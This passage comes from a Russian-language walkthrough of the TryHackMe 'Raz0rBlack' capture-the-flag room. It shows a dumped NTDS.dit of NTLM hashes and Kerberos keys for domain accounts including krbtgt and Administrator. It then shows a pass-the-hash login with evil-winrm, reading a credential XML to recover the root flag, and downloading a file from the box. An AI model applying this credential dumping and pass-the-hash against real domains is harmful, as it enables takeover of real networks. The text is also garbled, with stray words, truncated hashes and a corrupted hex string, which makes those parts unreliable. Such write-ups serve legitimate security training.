Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:26cc019045071ea8ad315bd764c4f5c6 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fa3c456268854a917bd17184c85b4fd1 :::
raz0rblack.thm\xyan1d3:1106:aad3b435b51404eeaad3b435b51404ee:bf11a3cbefb46f7194da2fa19083
raz0rblack.thm\lvetrova:1107:aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16
raz0rblack.thm\sbradley:1108:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b62
raz0rblack.thm\twilliams:1109:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b6
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:ab77c0dd6f5a28b63c4ae5f0eb89ad48f3ed43d52dc42f1dca2
Administrator:aes128-cts-hmac-sha1-96:81a749369e929b7f1731489b12a49df8
Administrator:des-cbc-md5:d3b646b65bceb5c7
HAVEN-DC$:aes256-cts-hmac-sha1-96:d6b41169e02a4543b90a8c697b167948413397c30f1bf5f0199a54f
HAVEN-DC$:aes128-cts-hmac-sha1-96:5ed5bd57484ca826e09afa6e5b944c27
HAVEN-DC$:des-cbc-md5:f71a0dc89b9d079d
krbtgt:aes256-cts-hmac-sha1-96:eed4acbdff1b6cc2b3c1aef992a8cea74d8b0c4ad5b4deecf47c57c4d94
krbtgt:aes128-cts-hmac-sha1-96:3dbbd202aa0343d1b8df99785d2befbb
krbtgt:des-cbc-md5:857a46f13e91eae3
raz0rblack.thm\xyan1d3:aes256-cts-hmac-sha1-96:6de380d21ae165f55e7520ee3c4a81417bf6a25b17
raz0rblack.thm\xyan1d3:aes128-cts-hmac-sha1-96:9f5a0114b2c18ea63a32a1b8553d4f61
raz0rblack.thm\xyan1d3:des-cbc-md5:e9a1a46223cd8975
raz0rblack.thm\lvetrova:aes256-cts-hmac-sha1-96:3809e38e24ecb746dc0d98e2b95f39fc157de38a9
raz0rblack.thm\lvetrova:aes128-cts-hmac-sha1-96:3676941361afe1800b8ab5d5a15bd839
raz0rblack.thm\lvetrova:des-cbc-md5:385d6e1f1cc17fb6
raz0rblack.thm\sbradley:aes256-cts-hmac-sha1-96:ddd43169c2235d3d2134fdb2ff4182abdb029a207
raz0rblack.thm\sbradley:aes128-cts-hmac-sha1-96:7cdf6640a975c86298b9f48000047580
raz0rblack.thm\sbradley:des-cbc-md5:83fe3e584f4a5bf8
raz0rblack.thm\twilliams:aes256-cts-hmac-sha1-96:05bac51a4b8888a484e0fa1400d8f507b195c436
raz0rblack.thm\twilliams:aes128-cts-hmac-sha1-96:a37656829f443e3fe2630aa69af5cb5a
raz0rblack.thm\twilliams:des-cbc-md5:01e958b0ea6edf07

```

Шаг 16: Подключаемся с кредитами админа

Получив хеш администратора подключимся с помощью того же **evil-winrm**

```
evil-winrm -i 10.10.215.15 -u administrator -H
9689931bed40ca5a2ce1218210177f0c0
```

Объяснить с

Посмотрим содержимое папки администратора

wordlists

Directory: C:\Users\Administrator

Mode		LastWriteTime	Length	Name
d-r---		5/21/2021 9:45 AM		3D Objects
d-r---	aces.txt	5/21/2021 9:45 AM		Contacts
d-r---		5/21/2021 9:45 AM		Desktop
d-r---		5/21/2021 9:45 AM		Documents
d-r---		5/21/2021 9:45 AM		Downloads
d-r---		5/21/2021 9:45 AM		Favorites
d-r---		5/21/2021 9:45 AM		Links
d-r---		5/21/2021 9:45 AM		Music
d-r---	kerber	5/21/2021 9:45 AM		Pictures
d-r---		5/21/2021 9:45 AM		Saved Games
d-r---		5/21/2021 9:45 AM		Searches
d-r---		5/21/2021 9:45 AM		Videos
-a---		2/25/2021 1:08 PM	290	cookie.json
-a---		2/25/2021 1:12 PM	2512	root.xml

С помощью **type** откроем файл **root.xml**

```

Evil-WinRM> PS C:\Users\Administrator> type root.xml
<Obj Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Administrator</S>
      <S N="Password">A44616d6e20796f752061726520612067656e6975732e0a275742c204920617066f6c6f67697a6520666f72206368656174696e6720796f75206c696b65207474686972
2e0a0a4865726520697320796f757220526f6f7420466c61670a5448d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e20687472
470733a2f2f7476974745672652e636fd2f5879619e316433206162f75742076786817420706172420796f7520656e6a6f796564206f6e207468697320626f7820616e64207768617420706172
7420796f75207374747275676c6564207269746862e0a0a496620796f7520656e6a6f796564207678697320626f7820796f75206d617920616c736f2074616b652061206c6f6b62061742074686
5206c696e75786167656e637920726f6fd20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736fd65206c696e75782066756e64616d656e74616c7320616e64207072
5976696c65676520657363616c6174696e6f6e2068747470733a2f2f7472796861636b6d652e636fd2f726f6fd2f6c696e75786167656e63792e0a</S>
    </Obj>
  </Obj>
</Obj>

```

Это наш флаг. Конвертируем из hex в обычный текст:

Here is your Root Flag

ТНМ{1b4f46cc4fba46348273d18dc91da20d}Объяснить с

Также найдем флаг пользователя *twilliams*

[illegible]

И последний штрих: посмотрев все папки найдем директорию **Top Secret**, увидим там картинку и выкачаем ее

```
*Evil-WinRM* PS C:\> cd "C:\Program Files\Top Secret"
*Evil-WinRM* PS C:\Program Files\Top Secret> ls

Directory: C:\Program Files\Top Secret

Mode                LastWriteTime         Length Name
----                -
-a----- 2/25/2021 10:13 AM         449195 top_secret.png

*Evil-WinRM* PS C:\Program Files\Top Secret> download top_secret.png
Info: Downloading top_secret.png to ./top_secret.png

Info: Download successful!

*Evil-WinRM* PS C:\Program Files\Top Secret>
```

Это все, что мы хотели показать в данном разборе. Помните: 100% стойких систем не бывает. Практикуйтесь, ведь без этого никуда абсолютно любому пентестеру!